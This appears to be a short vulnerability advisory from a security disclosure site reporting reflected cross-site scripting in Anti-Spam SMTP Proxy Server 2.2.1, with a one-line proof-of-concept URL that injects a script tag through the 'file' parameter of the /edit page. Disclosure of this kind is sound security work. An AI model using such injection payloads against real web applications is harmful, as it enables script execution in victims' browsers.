Anti-Spam SMTP Proxy Server 2.2.1 => Cross Site Scripting

2013.01.18
Credit: DevilTeam
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

: + Vendor info Anti-Spam SMTP Proxy Server 2.2.1 => Cross Site Scripting (CWE-79) http://sourceforge.net/projects/assp/ ========================================================= + Author: devilteam.pl + WWW: http://devilteam.pl/ + info(at)devilteam.pl ========================================================= Example PoC: http://127.0.0.1:55555/edit?file=<script>alert(0);</script> ========================================================= thx for: http://cxsecurity.com/

References:

http://devilteam.pl/


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top